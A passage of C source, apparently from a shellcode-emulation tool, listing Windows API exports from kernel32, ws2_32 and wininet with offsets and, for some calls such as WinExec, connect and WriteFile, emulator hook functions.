NULL},\n\t{\"VerSetConditionMask\", 0x0000927D, NULL, NULL},\n\t{\"VerifyConsoleIoHandle\", 0x0001AEAA, NULL, NULL},\n\t{\"VerifyVersionInfoA\", 0x0005EE46, NULL, NULL},\n\t{\"VerifyVersionInfoW\", 0x0001FB26, NULL, NULL},\n\t{\"VirtualAlloc\", 0x00009A51, NULL, NULL},\n\t{\"VirtualAllocEx\", 0x00009A72, NULL, NULL},\n\t{\"VirtualBufferExceptionHandler\", 0x0005EC71, NULL, NULL},\n\t{\"VirtualFree\", 0x00009AE4, NULL, NULL},\n\t{\"VirtualFreeEx\", 0x00009B02, NULL, NULL},\n\t{\"VirtualLock\", 0x0002B13F, NULL, NULL},\n\t{\"VirtualProtect\", 0x00001AD0, env_w32_hook_VirtualProtect, NULL},\n\t{\"VirtualProtectEx\", 0x00001A5D, env_w32_hook_VirtualProtectEx, NULL},\n\t{\"VirtualQuery\", 0x0000B9D1, NULL, NULL},\n\t{\"VirtualQueryEx\", 0x0000B9A0, NULL, NULL},\n\t{\"VirtualUnlock\", 0x0005E6DA, NULL, NULL},\n\t{\"WTSGetActiveConsoleSessionId\", 0x000132EE, NULL, NULL},\n\t{\"WaitCommEvent\", 0x00066280, NULL, NULL},\n\t{\"WaitForDebugEvent\", 0x0005A480, NULL, NULL},\n\t{\"WaitForMultipleObjects\", 0x0000A05D, NULL, NULL},\n\t{\"WaitForMultipleObjectsEx\", 0x0000952A, NULL, NULL},\n\t{\"WaitForSingleObject\", 0x00002520, env_w32_hook_WaitForSingleObject, NULL},\n\t{\"WaitForSingleObjectEx\", 0x00002540, NULL, NULL},\n\t{\"WaitNamedPipeA\", 0x0005FC39, NULL, NULL},\n\t{\"WaitNamedPipeW\", 0x0002C664, NULL, NULL},\n\t{\"WideCharToMultiByte\", 0x0000A0D4, NULL, NULL},\n\t{\"WinExec\", 0x0006136D, env_w32_hook_WinExec, NULL},\n\t{\"WriteConsoleA\", 0x0001CF25, NULL, NULL},\n\t{\"WriteConsoleInputA\", 0x000723C5, NULL, NULL},\n\t{\"WriteConsoleInputVDMA\", 0x00071EA4, NULL, NULL},\n\t{\"WriteConsoleInputVDMW\", 0x00071EC7, NULL, NULL},\n\t{\"WriteConsoleInputW\", 0x000723E8, NULL, NULL},\n\t{\"WriteConsoleOutputA\", 0x00072B45, NULL, NULL},\n\t{\"WriteConsoleOutputAttribute\", 0x00072EF1, NULL, NULL},\n\t{\"WriteConsoleOutputCharacterA\", 0x00072EA5, NULL, NULL},\n\t{\"WriteConsoleOutputCharacterW\", 0x00072ECB, NULL, NULL},\n\t{\"WriteConsoleOutputW\", 0x00072B21, NULL, NULL},\n\t{\"WriteConsoleW\", 0x00035484, NULL, NULL},\n\t{\"WriteFile\", 0x00010D87, env_w32_hook_WriteFile, NULL},\n\t{\"WriteFileEx\", 0x0005C701, NULL, NULL},\n\t{\"WriteFileGather\", 0x0002DDA5, NULL, NULL},\n\t{\"WritePrivateProfileSectionA\", 0x0005BA7C, NULL, NULL},\n\t{\"WritePrivateProfileSectionW\", 0x0005BAC3, NULL, NULL},\n\t{\"WritePrivateProfileStringA\", 0x00035D54, NULL, NULL},\n\t{\"WritePrivateProfileStringW\", 0x0001EE4C, NULL, NULL},\n\t{\"WritePrivateProfileStructA\", 0x0005BE23, NULL, NULL},\n\t{\"WritePrivateProfileStructW\", 0x0005BF65, NULL, NULL},\n\t{\"WriteProcessMemory\", 0x0000220F, NULL, NULL},\n\t{\"WriteProfileSectionA\", 0x0005C0F5, NULL, NULL},\n\t{\"WriteProfileSectionW\", 0x0005C12E, NULL, NULL},\n\t{\"WriteProfileStringA\", 0x0005C0B9, NULL, NULL},\n\t{\"WriteProfileStringW\", 0x000332B1, NULL, NULL},\n\t{\"WriteTapemark\", 0x0006B188, NULL, NULL},\n\t{\"ZombifyActCtx\", 0x0006B6FB, NULL, NULL},\n\t{\"_hread\", 0x000353CE, NULL, NULL},\n\t{\"_hwrite\", 0x00038AE7, env_w32_hook__hwrite, NULL},\n\t{\"_lclose\", 0x00034E64, env_w32_hook__lclose, NULL},\n\t{\"_lcreat\", 0x000365A5, env_w32_hook__lcreat, NULL},\n\t{\"_llseek\", 0x00035406, NULL, NULL},\n\t{\"_lopen\", 0x0005E830, NULL, NULL},\n\t{\"_lread\", 0x000353CE, NULL, NULL},\n\t{\"_lwrite\", 0x00038AE7, env_w32_hook__lwrite, NULL},\n\t{\"lstrcat\", 0x00034D41, NULL, NULL},\n\t{\"lstrcatA\", 0x00034D41, NULL, NULL},\n\t{\"lstrcatW\", 0x00010F32, NULL, NULL},\n\t{\"lstrcmp\", 0x00030D74, NULL, NULL},\n\t{\"lstrcmpA\", 0x00030D74, NULL, NULL},\n\t{\"lstrcmpW\", 0x0000A9CC, NULL, NULL},\n\t{\"lstrcmpi\", 0x0000BAA1, NULL, NULL},\n\t{\"lstrcmpiA\", 0x0000BAA1, NULL, NULL},\n\t{\"lstrcmpiW\", 0x0000A996, NULL, NULL},\n\t{\"lstrcpy\", 0x0000BE01, NULL, NULL},\n\t{\"lstrcpyA\", 0x0000BE01, NULL, NULL},\n\t{\"lstrcpyW\", 0x0000BA64, NULL, NULL},\n\t{\"lstrcpyn\", 0x00010111, NULL, NULL},\n\t{\"lstrcpynA\", 0x00010111, NULL, NULL},\n\t{\"lstrcpynW\", 0x0000B9EF, NULL, NULL},\n\t{\"lstrlen\", 0x0000BDB6, NULL, NULL},\n\t{\"lstrlenA\", 0x0000BDB6, NULL, NULL},\n\t{\"lstrlenW\", 0x00009A09, NULL, NULL},\n\t{0,0,NULL},\n};\n\nstruct emu_env_w32_dll_export ws2_32_exports[] = \n{\n\t{\"accept\", 0x00011028, env_w32_hook_accept, NULL},\n\t{\"bind\", 0x00003E00, env_w32_hook_bind, NULL},\n\t{\"closesocket\", 0x00009639, env_w32_hook_closesocket, NULL},\n\t{\"connect\", 0x0000406A, env_w32_hook_connect, NULL},\n\t{\"getpeername\", 0x00010B50, NULL, NULL},\n\t{\"getsockname\", 0x0000951E, NULL, NULL},\n\t{\"getsockopt\", 0x000046C9, NULL, NULL},\n\t{\"htonl\", 0x00002BC0, NULL, NULL},\n\t{\"htons\", 0x00002B66, NULL, NULL},\n\t{\"ioctlsocket\", 0x00004519, NULL, NULL},\n\t{\"inet_addr\", 0x00002BF4, NULL, NULL},\n\t{\"inet_ntoa\", 0x00003F41, NULL, NULL},\n\t{\"listen\", 0x000088D3, env_w32_hook_listen, NULL},\n\t{\"ntohl\", 0x00002BC0, NULL, NULL},\n\t{\"ntohs\", 0x00002B66, NULL, NULL},\n\t{\"recv\", 0x0000615A, env_w32_hook_recv, NULL},\n\t{\"recvfrom\", 0x00002D0F, NULL, NULL},\n\t{\"select\", 0x00002DC0, NULL, NULL},\n\t{\"send\", 0x0000428A, env_w32_hook_send, NULL},\n\t{\"sendto\", 0x00002C69, env_w32_hook_sendto, NULL},\n\t{\"setsockopt\", 0x00003EA1, NULL, NULL},\n\t{\"shutdown\", 0x00010BDE, NULL, NULL},\n\t{\"socket\", 0x00003B91, env_w32_hook_socket, NULL},\n\t{\"GetAddrInfoW\", 0x00002899, NULL, NULL},\n\t{\"GetNameInfoW\", 0x0000C4EC, NULL, NULL},\n\t{\"WSApSetPostRoutine\", 0x00011EC9, NULL, NULL},\n\t{\"FreeAddrInfoW\", 0x00002B0B, NULL, NULL},\n\t{\"WPUCompleteOverlappedRequest\", 0x00011CA7, NULL, NULL},\n\t{\"WSAAccept\", 0x00010DA9, NULL, NULL},\n\t{\"WSAAddressToStringA\", 0x000091F6, NULL, NULL},\n\t{\"WSAAddressToStringW\", 0x000062B2, NULL, NULL},\n\t{\"WSACloseEvent\", 0x00004682, NULL, NULL},\n\t{\"WSAConnect\", 0x00010C69, NULL, NULL},\n\t{\"WSACreateEvent\", 0x000045F7, NULL, NULL},\n\t{\"WSADuplicateSocketA\", 0x0000DB82, NULL, NULL},\n\t{\"WSADuplicateSocketW\", 0x0000DAF4, NULL, NULL},\n\t{\"WSAEnumNameSpaceProvidersA\", 0x0000F9C9, NULL, NULL},\n\t{\"WSAEnumNameSpaceProvidersW\", 0x0000FA29, NULL, NULL},\n\t{\"WSAEnumNetworkEvents\", 0x00004617, NULL, NULL},\n\t{\"WSAEnumProtocolsA\", 0x0000DC47, NULL, NULL},\n\t{\"WSAEnumProtocolsW\", 0x0000848C, NULL, NULL},\n\t{\"WSAEventSelect\", 0x00004573, NULL, NULL},\n\t{\"WSAGetOverlappedResult\", 0x00010D03, NULL, NULL},\n\t{\"WSAGetQOSByName\", 0x0000F458, NULL, NULL},\n\t{\"WSAGetServiceClassInfoA\", 0x00010428, NULL, NULL},\n\t{\"WSAGetServiceClassInfoW\", 0x00010141, NULL, NULL},\n\t{\"WSAGetServiceClassNameByClassIdA\", 0x0000FD87, NULL, NULL},\n\t{\"WSAGetServiceClassNameByClassIdW\", 0x0000FF69, NULL, NULL},\n\t{\"WSAHtonl\", 0x0000BCC9, NULL, NULL},\n\t{\"WSAHtons\", 0x0000BDB1, NULL, NULL},\n\t{\"gethostbyaddr\", 0x0000E479, NULL, NULL},\n\t{\"gethostbyname\", 0x00004FD4, NULL, NULL},\n\t{\"getprotobyname\", 0x0000E176, NULL, NULL},\n\t{\"getprotobynumber\", 0x0000E0B4, NULL, NULL},\n\t{\"getservbyname\", 0x0000E6EB, NULL, NULL},\n\t{\"getservbyport\", 0x0000E59D, NULL, NULL},\n\t{\"gethostname\", 0x000050C8, NULL, NULL},\n\t{\"WSAInstallServiceClassA\", 0x000103A9, NULL, NULL},\n\t{\"WSAInstallServiceClassW\", 0x0000FBB1, NULL, NULL},\n\t{\"WSAIoctl\", 0x00004489, NULL, NULL},\n\t{\"WSAJoinLeaf\", 0x00010F58, NULL, NULL},\n\t{\"WSALookupServiceBeginA\", 0x000052AA, NULL, NULL},\n\t{\"WSALookupServiceBeginW\", 0x00003307, NULL, NULL},\n\t{\"WSALookupServiceEnd\", 0x00003226, NULL, NULL},\n\t{\"WSALookupServiceNextA\", 0x0000570E, NULL, NULL},\n\t{\"WSALookupServiceNextW\", 0x00002E99, NULL, NULL},\n\t{\"WSANSPIoctl\", 0x00004D06, NULL, NULL},\n\t{\"WSANtohl\", 0x0000BCC9, NULL, NULL},\n\t{\"WSANtohs\", 0x0000BDB1, NULL, NULL},\n\t{\"WSAProviderConfigChange\", 0x0000881F, NULL, NULL},\n\t{\"WSARecv\", 0x00004318, NULL, NULL},\n\t{\"WSARecvDisconnect\", 0x0000F5D6, NULL, NULL},\n\t{\"WSARecvFrom\", 0x0000F652, NULL, NULL},\n\t{\"WSARemoveServiceClass\", 0x0000FC9C, NULL, NULL},\n\t{\"WSAResetEvent\", 0x0000949F, NULL, NULL},\n\t{\"WSASend\", 0x00006233, NULL, NULL},\n\t{\"WSASendDisconnect\", 0x00010A0A, NULL, NULL},\n\t{\"WSASendTo\", 0x00010A95, NULL, NULL},\n\t{\"WSASetEvent\", 0x000094B0, NULL, NULL},\n\t{\"WSASetServiceA\", 0x000104BA, NULL, NULL},\n\t{\"WSASetServiceW\", 0x00010269, NULL, NULL},\n\t{\"WSASocketA\", 0x00008769, env_w32_hook_WSASocketA, NULL},\n\t{\"WSASocketW\", 0x000039CB, NULL, NULL},\n\t{\"WSAStringToAddressA\", 0x000090D8, NULL, NULL},\n\t{\"WSAStringToAddressW\", 0x0000281E, NULL, NULL},\n\t{\"WSAWaitForMultipleEvents\", 0x0000948E, NULL, NULL},\n\t{\"WSCDeinstallProvider\", 0x000119B1, NULL, NULL},\n\t{\"WSCEnableNSProvider\", 0x0000EE41, NULL, NULL},\n\t{\"WSCEnumProtocols\", 0x00007761, NULL, NULL},\n\t{\"WSCGetProviderPath\", 0x00008A27, NULL, NULL},\n\t{\"WSCInstallNameSpace\", 0x0000F135, NULL, NULL},\n\t{\"WSCInstallProvider\", 0x0001164D, NULL, NULL},\n\t{\"WSCUnInstallNameSpace\", 0x0000F301, NULL, NULL},\n\t{\"WSCUpdateProvider\", 0x00011279, NULL, NULL},\n\t{\"WSCWriteNameSpaceOrder\", 0x0000F001, NULL, NULL},\n\t{\"WSCWriteProviderOrder\", 0x00011519, NULL, NULL},\n\t{\"freeaddrinfo\", 0x00002B0B, NULL, NULL},\n\t{\"getaddrinfo\", 0x00002A6F, NULL, NULL},\n\t{\"getnameinfo\", 0x0000C671, NULL, NULL},\n\t{\"WSAAsyncSelect\", 0x00010979, NULL, NULL},\n\t{\"WSAAsyncGetHostByAddr\", 0x0000EA2B, NULL, NULL},\n\t{\"WSAAsyncGetHostByName\", 0x0000E985, NULL, NULL},\n\t{\"WSAAsyncGetProtoByNumber\", 0x0000E2AB, NULL, NULL},\n\t{\"WSAAsyncGetProtoByName\", 0x0000EAD5, NULL, NULL},\n\t{\"WSAAsyncGetServByPort\", 0x0000E8FB, NULL, NULL},\n\t{\"WSAAsyncGetServByName\", 0x0000E84F, NULL, NULL},\n\t{\"WSACancelAsyncRequest\", 0x0000E32F, NULL, NULL},\n\t{\"WSASetBlockingHook\", 0x0000D494, NULL, NULL},\n\t{\"WSAUnhookBlockingHook\", 0x0000D4F0, NULL, NULL},\n\t{\"WSAGetLastError\", 0x000094DC, NULL, NULL},\n\t{\"WSASetLastError\", 0x00002A5E, NULL, NULL},\n\t{\"WSACancelBlockingCall\", 0x0000D3F2, NULL, NULL},\n\t{\"WSAIsBlocking\", 0x0000D441, NULL, NULL},\n\t{\"WSAStartup\", 0x0000664D, env_w32_hook_WSAStartup, NULL},\n\t{\"WSACleanup\", 0x00004428, NULL, NULL},\n\t{\"__WSAFDIsSet\", 0x00004544, NULL, NULL},\n\t{\"WEP\", 0x00012105, NULL, NULL},\n\t{0,0,NULL},\n};\n\nstruct emu_env_w32_dll_export wininet_exports[] = \n{\n\t{\"CommitUrlCacheEntryA\", 0x00021B82, NULL, NULL},\n\t{\"CommitUrlCacheEntryW\", 0x0006F7E3, NULL, NULL},\n\t{\"CreateMD5SSOHash\", 0x000487B7, NULL, NULL},\n\t{\"CreateUrlCacheContainerA\", 0x0006EA79, NULL, NULL},\n\t{\"CreateUrlCacheContainerW\", 0x00070346, NULL, NULL},\n\t{\"CreateUrlCacheEntryA\", 0x0006EB0B, NULL, NULL},\n\t{\"CreateUrlCacheEntryW\", 0x0006F607, NULL, NULL},\n\t{\"CreateUrlCacheGroup\", 0x00070C66, NULL, NULL},\n\t{\"DeleteIE3Cache\", 0x00071F68, NULL, NULL},\n\t{\"DeleteUrlCacheContainerA\", 0x0006EAC7, NULL, NULL},\n\t{\"DeleteUrlCacheContainerW\", 0x000705A4, NULL, NULL},\n\t{\"DeleteUrlCacheEntry\", 0x000279AA, NULL, NULL},\n\t{\"DeleteUrlCacheEntryA\", 0x000279AA, NULL, NULL},\n\t{\"DeleteUrlCacheEntryW\", 0x00070091, NULL, NULL},\n\t{\"DeleteUrlCacheGroup\", 0x00070CB1, NULL, NULL},\n\t{\"DetectAutoProxyUrl\", 0x0001FA6E, NULL, NULL},\n\t{\"DllInstall\", 0x00044D99, NULL, NULL},\n\t{\"FindCloseUrlCache\", 0x000216DD, NULL, NULL},\n\t{\"FindFirstUrlCacheContainerA\", 0x00021C8F, NULL, NULL},\n\t{\"FindFirstUrlCacheContainerW\", 0x00070676, NULL, NULL},\n\t{\"FindFirstUrlCacheEntryA\", 0x000052B6, NULL, NULL},\n\t{\"FindFirstUrlCacheEntryExA\", 0x0006EDED, NULL, NULL},\n\t{\"FindFirstUrlCacheEntryExW\", 0x0006FE59, NULL, NULL},\n\t{\"FindFirstUrlCacheEntryW\", 0x00070AFD, NULL, NULL},\n\t{\"FindFirstUrlCacheGroup\", 0x00070CF9, NULL, NULL},\n\t{\"FindNextUrlCacheContainerA\", 0x00021CDE, NULL, NULL},\n\t{\"FindNextUrlCacheContainerW\", 0x00070719, NULL, NULL},\n\t{\"FindNextUrlCacheEntryA\", 0x0002186A, NULL, NULL},\n\t{\"FindNextUrlCacheEntryExA\", 0x0006EE72, NULL, NULL},\n\t{\"FindNextUrlCacheEntryExW\", 0x0006FE8F, NULL, NULL},\n\t{\"FindNextUrlCacheEntryW\", 0x00070B27, NULL, NULL},\n\t{\"FindNextUrlCacheGroup\", 0x00070D60, NULL, NULL},\n\t{\"ForceNexusLookup\", 0x0004878B, NULL, NULL},\n\t{\"ForceNexusLookupExW\", 0x0004874C, NULL, NULL},\n\t{\"FreeUrlCacheSpaceA\", 0x0006EEDD, NULL, NULL},\n\t{\"FreeUrlCacheSpaceW\", 0x0006FECC, NULL, NULL},\n\t{\"FtpCommandA\", 0x00053505, NULL, NULL},\n\t{\"FtpCommandW\", 0x00054E73, NULL, NULL},\n\t{\"FtpCreateDirectoryA\", 0x00052E41, NULL, NULL},\n\t{\"FtpCreateDirectoryW\", 0x00054BE0, NULL, NULL},\n\t{\"FtpDeleteFileA\", 0x00052AA1, NULL, NULL},\n\t{\"FtpDeleteFileW\", 0x000549B6, NULL, NULL},\n\t{\"FtpFindFirstFileA\", 0x0005454D, NULL, NULL},\n\t{\"FtpFindFirstFileW\", 0x000548BD, NULL, NULL},\n\t{\"FtpGetCurrentDirectoryA\", 0x0005335C, NULL, NULL},\n\t{\"FtpGetCurrentDirectoryW\", 0x00054D8D, NULL, NULL},\n\t{\"FtpGetFileA\", 0x00051DD1, NULL, NULL},\n\t{\"FtpGetFileEx\", 0x0005558F, NULL, NULL},\n\t{\"FtpGetFileSize\", 0x0005372C, NULL, NULL},\n\t{\"FtpGetFileW\", 0x00054F21, NULL, NULL},\n\t{\"FtpOpenFileA\", 0x00054573, NULL, NULL},\n\t{\"FtpOpenFileW\", 0x00054B49, NULL, NULL},\n\t{\"FtpPutFileA\", 0x00051EE7, NULL, NULL},\n\t{\"FtpPutFileEx\", 0x0005560D, NULL, NULL},\n\t{\"FtpPutFileW\", 0x00055249, NULL, NULL},\n\t{\"FtpRemoveDirectoryA\", 0x00053005, NULL, NULL},\n\t{\"FtpRemoveDirectoryW\", 0x00054C71, NULL, NULL},\n\t{\"FtpRenameFileA\", 0x00052C5B, NULL, NULL},\n\t{\"FtpRenameFileW\", 0x00054A47, NULL, NULL},\n\t{\"FtpSetCurrentDirectoryA\", 0x000531A7, NULL, NULL},\n\t{\"FtpSetCurrentDirectoryW\", 0x00054CFF, NULL, NULL},\n\t{\"GetUrlCacheConfigInfoA\", 0x000720B2, NULL, NULL},\n\t{\"GetUrlCacheConfigInfoW\", 0x0006F55D, NULL, NULL},\n\t{\"GetUrlCacheEntryInfoA\", 0x00021AF9, NULL, NULL},\n\t{\"GetUrlCacheEntryInfoExA\", 0x000064BE, NULL, NULL},\n\t{\"GetUrlCacheEntryInfoExW\", 0x0002688D, NULL, NULL},\n\t{\"GetUrlCacheEntryInfoW\", 0x0006FBD0, NULL, NULL},\n\t{\"GetUrlCacheGroupAttributeA\", 0x0006EF9E, NULL, NULL},\n\t{\"GetUrlCacheGroupAttributeW\", 0x0006F314, NULL, NULL},\n\t{\"GetUrlCacheHeaderData\", 0x000075B2, NULL, NULL},\n\t{\"GopherCreateLocatorA\", 0x00058F21, NULL, NULL},\n\t{\"GopherCreateLocatorW\", 0x0005A224, NULL, NULL},\n\t{\"GopherFindFirstFileA\", 0x0005989F, NULL, NULL},\n\t{\"GopherFindFirstFileW\", 0x0005A456, NULL, NULL},\n\t{\"GopherGetAttributeA\", 0x0005A212, NULL, NULL},\n\t{\"GopherGetAttributeW\", 0x0005A212, NULL, NULL},\n\t{\"GopherGetLocatorTypeA\", 0x0005914D, NULL, NULL},\n\t{\"GopherGetLocatorTypeW\", 0x0005A3DA, NULL, NULL},\n\t{\"GopherOpenFileA\", 0x00059DD4, NULL, NULL},\n\t{\"GopherOpenFileW\", 0x0005A60D, NULL, NULL},\n\t{\"HttpAddRequestHeadersA\", 0x000140B2, NULL, NULL},\n\t{\"HttpAddRequestHeadersW\", 0x0001EEF5, NULL, NULL},\n\t{\"HttpCheckDavCompliance\", 0x0006189D, NULL, NULL},\n\t{\"HttpEndRequestA\", 0x00061E8F, NULL, NULL},\n\t{\"HttpEndRequestW\", 0x00061EC1, NULL, NULL},\n\t{\"HttpOpenRequestA\", 0x000136AD, NULL, NULL},\n\t{\"HttpOpenRequestW\", 0x0001F3F9, NULL, NULL},\n\t{\"HttpQueryInfoA\", 0x0001780A, NULL, NULL},\n\t{\"HttpQueryInfoW\", 0x00025FCA, NULL, NULL},\n\t{\"HttpSendRequestA\", 0x00016249, NULL, NULL},\n\t{\"HttpSendRequestExA\", 0x00061E29, NULL, NULL},\n\t{\"HttpSendRequestExW\", 0x0001E9C1, NULL, NULL},\n\t{\"HttpSendRequestW\", 0x00061D24, NULL, NULL},\n\t{\"IncrementUrlCacheHeaderData\", 0x00070BAE, NULL, NULL},\n\t{\"InternetAlgIdToStringA\", 0x0007A4E4, NULL, NULL},\n\t{\"InternetAlgIdToStringW\", 0x00049995, NULL, NULL},\n\t{\"InternetAttemptConnect\", 0x00047684, NULL, NULL},\n\t{\"InternetAutodial\", 0x000429F8, NULL, NULL},\n\t{\"InternetAutodialCallback\", 0x00042E89, NULL, NULL},\n\t{\"InternetAutodialHangup\", 0x00042D5B, NULL, NULL},\n\t{\"InternetCanonicalizeUrlA\", 0x0001302F, NULL, NULL},\n\t{\"InternetCanonicalizeUrlW\", 0x00021922, NULL, NULL},\n\t{\"InternetCheckConnectionA\", 0x000482FA, NULL, NULL},\n\t{\"InternetCheckConnectionW\", 0x000497D2, NULL, NULL},\n\t{\"InternetClearAllPerSiteCookieDecisions\", 0x00062BE2, NULL, NULL},\n\t{\"InternetCloseHandle\", 0x00014D6C, NULL, NULL},\n\t{\"InternetCombineUrlA\", 0x000242E0, NULL, NULL},\n\t{\"InternetCombineUrlW\", 0x00048B07, NULL, NULL},\n\t{\"InternetConfirmZoneCrossing\", 0x0007C751, NULL, NULL},\n\t{\"InternetConfirmZoneCrossingA\", 0x0007C751, NULL, NULL},\n\t{\"InternetConfirmZoneCrossingW\", 0x0007C79D, NULL, NULL},\n\t{\"InternetConnectA\", 0x000130C3, NULL, NULL},\n\t{\"InternetConnectW\", 0x0001EE00, NULL, NULL},\n\t{\"InternetCrackUrlA\", 0x000173DC, NULL, NULL},\n\t{\"InternetCrackUrlW\", 0x00048CCE, NULL, NULL},\n\t{\"InternetCreateUrlA\", 0x0001256F, NULL, NULL},\n\t{\"InternetCreateUrlW\", 0x0004900B, NULL, NULL},\n\t{\"InternetDial\", 0x0004286A, NULL, NULL},\n\t{\"InternetDialA\", 0x0004286A, NULL, NULL},\n\t{\"InternetDialW\", 0x00042317, NULL, NULL},\n\t{\"InternetEnumPerSiteCookieDecisionA\", 0x00062AC0, NULL, NULL},\n\t{\"InternetEnumPerSiteCookieDecisionW\", 0x00062B39, NULL, NULL},\n\t{\"InternetErrorDlg\", 0x0007C34D, NULL, NULL},\n\t{\"InternetFindNextFileA\", 0x00047E88, NULL, NULL},\n\t{\"InternetFindNextFileW\", 0x00048BB2, NULL, NULL},\n\t{\"InternetFortezzaCommand\", 0x0004D5B6, NULL, NULL},\n\t{\"InternetGetCertByURL\", 0x000473FC, NULL, NULL},\n\t{\"InternetGetCertByURLA\", 0x000473FC, NULL, NULL},\n\t{\"InternetGetConnectedState\", 0x00025C2E, NULL, NULL},\n\t{\"InternetGetConnectedStateEx\", 0x0002721D, NULL, NULL},\n\t{\"InternetGetConnectedStateExA\", 0x0002721D, NULL, NULL},\n\t{\"InternetGetConnectedStateExW\", 0x0002363E, NULL, NULL},\n\t{\"InternetGetCookieA\", 0x00064BA9, NULL, NULL},\n\t{\"InternetGetCookieExA\", 0x00029506, NULL, NULL},\n\t{\"InternetGetCookieExW\", 0x0002941B, NULL, NULL},\n\t{\"InternetGetCookieW\", 0x000271FA, NULL, NULL},\n\t{\"InternetGetLastResponseInfoA\", 0x000474DC, NULL, NULL},\n\t{\"InternetGetLastResponseInfoW\", 0x00049723, NULL, NULL},\n\t{\"InternetGetPerSiteCookieDecisionA\", 0x0006296E, NULL, NULL},\n\t{\"InternetGetPerSiteCookieDecisionW\", 0x000629BF, NULL, NULL},\n\t{\"InternetGoOnline\", 0x000431EA, NULL, NULL},\n\t{\"InternetGoOnlineA\", 0x000431EA, NULL, NULL},\n\t{\"InternetGoOnlineW\", 0x000430B1, NULL, NULL},\n\t{\"InternetHangUp\", 0x000428ED, NULL, NULL},\n\t{\"InternetInitializeAutoProxyDll\", 0x0005D45B, NULL, NULL},\n\t{\"InternetLockRequestFile\", 0x0001C624, NULL, NULL},\n\t{\"InternetOpenA\", 0x000158BA, NULL, NULL},\n\t{\"InternetOpenUrlA\", 0x00015B6D, NULL, NULL},\n\t{\"InternetOpenUrlW\", 0x00025B52, NULL, NULL},\n\t{\"InternetOpenW\", 0x0000AEFD, NULL, NULL},\n\t{\"InternetQueryDataAvailable\", 0x00028A17, NULL, NULL},\n\t{\"InternetQueryFortezzaStatus\", 0x0004D555, NULL, NULL},\n\t{\"InternetQueryOptionA\", 0x00007138, NULL, NULL},\n\t{\"InternetQueryOptionW\", 0x00025A3F, NULL, NULL},\n\t{\"InternetReadFile\", 0x000180F4, NULL, NULL},\n\t{\"InternetReadFileExA\", 0x00048160, NULL, NULL},\n\t{\"InternetReadFileExW\", 0x00047459, NULL, NULL},\n\t{\"InternetSecurityProtocolToStringA\", 0x0007A588, NULL, NULL},\n\t{\"InternetSecurityProtocolToStringW\", 0x00049A6B, NULL, NULL},\n\t{\"InternetSetCookieA\", 0x00064D8F, NULL, NULL},\n\t{\"InternetSetCookieExA\", 0x000650D3, NULL, NULL},\n\t{\"InternetSetCookieExW\", 0x00064DBA, NULL, NULL},\n\t{\"InternetSetCookieW\", 0x00065136, NULL, NULL},\n\t{\"InternetSetDialState\", 0x000420C3, NULL, NULL},\n\t{\"InternetSetDialStateA\", 0x000420C3, NULL, NULL},\n\t{\"InternetSetDialStateW\", 0x000420E6, NULL, NULL},\n\t{\"InternetSetFilePointer\", 0x0004746B, NULL, NULL},\n\t{\"InternetSetOptionA\", 0x0000B1A5, NULL, NULL},\n\t{\"InternetSetOptionExA\", 0x00049CA8, NULL, NULL},\n\t{\"InternetSetOptionExW\", 0x00049CD9, NULL, NULL},\n\t{\"InternetSetOptionW\", 0x0000BBED, NULL, NULL},\n\t{\"InternetSetPerSiteCookieDecisionA\", 0x00062806, NULL, NULL},\n\t{\"InternetSetPerSiteCookieDecisionW\", 0x00062880, NULL, NULL},\n\t{\"InternetSetStatusCallback\", 0x00029084, NULL, NULL},\n\t{\"InternetSetStatusCallbackA\", 0x00029084, NULL, NULL},\n\t{\"InternetSetStatusCallbackW\", 0x00048CB3, NULL, NULL},\n\t{\"InternetShowSecurityInfoByURL\", 0x0004799D, NULL, NULL},\n\t{\"InternetShowSecurityInfoByURLA\", 0x0004799D, NULL, NULL},\n\t{\"InternetShowSecurityInfoByURLW\", 0x000498B5, NULL, NULL},\n\t{\"InternetTimeFromSystemTime\", 0x00029D18, NULL, NULL},\n\t{\"InternetTimeFromSystemTimeA\", 0x00029D18, NULL, NULL},\n\t{\"InternetTimeFromSystemTimeW\", 0x0006547A, NULL, NULL},\n\t{\"InternetTimeToSystemTime\", 0x0006542B, NULL, NULL},\n\t{\"InternetTimeToSystemTimeA\", 0x0006542B, NULL, NULL},\n\t{\"InternetTimeToSystemTimeW\", 0x00065517, NULL, NULL},\n\t{\"InternetUnlockRequestFile\", 0x0001B9CE, NULL, NULL},\n\t{\"InternetWriteFile\", 0x00047C19, NULL, NULL},\n\t{\"InternetWriteFileExA\", 0x00047459, NULL, NULL},\n\t{\"InternetWriteFileExW\", 0x00047459, NULL, NULL},\n\t{\"IsHostInProxyBypassList\", 0x00023350, NULL, NULL},\n\t{\"IsUrlCacheEntryExpiredA\", 0x0006F07A, NULL, NULL},\n\t{\"IsUrlCacheEntryExpiredW\", 0x00070170, NULL, NULL},\n\t{\"LoadUrlCacheContent\", 0x00070BDE, NULL, NULL},\n\t{\"ParseX509EncodedCertificateForListBoxEntry\", 0x0007A686, NULL, NULL},\n\t{\"PrivacyGetZonePreferenceW\", 0x00061077, NULL, NULL},\n\t{\"PrivacySetZonePreferenceW\", 0x00060EFB, NULL, NULL},\n\t{\"ReadUrlCacheEntryStream\", 0x0002986B, NULL, NULL},\n\t{\"RegisterUrlCacheNotification\", 0x00070DB3, NULL, NULL},\n\t{\"ResumeSuspendedDownload\", 0x0004C656, NULL, NULL},\n\t{\"RetrieveUrlCacheEntryFileA\", 0x0006EB8B, NULL, NULL},\n\t{\"RetrieveUrlCacheEntryFileW\", 0x000708F9, NULL, NULL},\n\t{\"RetrieveUrlCacheEntryStreamA\", 0x0006EC05, NULL, NULL},\n\t{\"RetrieveUrlCacheEntryStreamW\", 0x0007091C, NULL, NULL},\n\t{\"RunOnceUrlCache\", 0x0007111D, NULL, NULL},\n\t{\"SetUrlCacheConfigInfoA\", 0x00072FB8, NULL, NULL},\n\t{\"SetUrlCacheConfigInfoW\", 0x0006F5F5, NULL, NULL},\n\t{\"SetUrlCacheEntryGroup\", 0x0006EF25, NULL, NULL},\n\t{\"SetUrlCacheEntryGroupA\", 0x0006EF25, NULL, NULL},\n\t{\"SetUrlCacheEntryGroupW\", 0x00070255, NULL, NULL},\n\t{\"SetUrlCacheEntryInfoA\", 0x0006ED82, NULL, NULL},\n\t{\"SetUrlCacheEntryInfoW\", 0x0006FBF2, NULL, NULL},\n\t{\"SetUrlCacheGroupAttributeA\", 0x0006F018, NULL, NULL},\n\t{\"SetUrlCacheGroupAttributeW\", 0x0006F3C9, NULL, NULL},\n\t{\"SetUrlCacheHeaderData\", 0x00070B7E, NULL, NULL},\n\t{\"ShowCertificate\", 0x0007A66E, NULL, 